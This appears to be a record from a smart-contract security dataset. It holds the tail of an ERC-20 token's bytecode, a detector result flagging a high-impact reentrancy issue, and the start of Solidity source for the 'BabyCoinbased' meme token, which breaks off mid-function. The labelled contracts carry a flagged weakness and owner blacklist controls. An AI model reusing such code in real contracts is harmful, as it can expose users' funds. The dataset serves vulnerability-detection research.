ffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f574f4f4348000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b60008060006006549050600068056bc75e2d6310000090506129a668056bc75e2d6310000060065461267690919063ffffffff16565b8210156129c55760065468056bc75e2d631000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201302e4cede3e7e111a06b14ae7157a2b3455ba42c8392bd35c60686a519753e964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,964
0x589656ae510d3c4238994ca152f9855de1d5e020
/** *Submitted for verification at Etherscan.io on 2021-07-08 */ /* https://t.me/BabyCoinbased ╭━━╮╱╱╱╭╮╱╱╱╱╱╭━━━╮╱╱╱╱╱╱╭╮╱╱╱╱╱╱╱╱╱╱╱╱╭╮ ┃╭╮┃╱╱╱┃┃╱╱╱╱╱┃╭━╮┃╱╱╱╱╱╱┃┃╱╱╱╱╱╱╱╱╱╱╱╱┃┃ ┃╰╯╰┳━━┫╰━┳╮╱╭┫┃ ╰╋━━┳┳━╮┃╰━┳━━┳━━┳━━┳━╯┃ ┃╭━╮┃╭╮┃╭╮┃┃ ┃┃┃ ╭┫╭╮┣┫╭╮┫╭╮┃╭╮┃━━┫┃━┫╭╮┃ ┃╰━╯┃╭╮┃╰╯┃╰━╯┃╰━╯┃╰╯┃┃┃┃┃╰╯┃╭╮┣━━┃┃━┫╰╯┃ ╰━━━┻╯╰┻━━┻━╮╭┻━━━┻━━┻┻╯╰┻━━┻╯╰┻━━┻━━┻━━╯ ╱╱╱╱╱╱╱╱╱╱╭━╯┃ ╱╱╱╱╱╱╱╱╱╱╰━━╯ Welcome to BabyCoinbased! A BASED-BABY MOON MISSION! Liquidity locked, ownership renounced. * BabyCoinbased is a meme token with a twist! * BabyCoinbased has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell. * * TOKENOMICS: * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS * No buy or sell token limits. Whales are welcome! * 10% total tax on buy * Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. * No team tokens, no presale * A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BabyCoinbased is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"BabyCoinbased - t.me/BabyCoinbased"; string private constant _symbol = unicode"BABY"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 8; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) 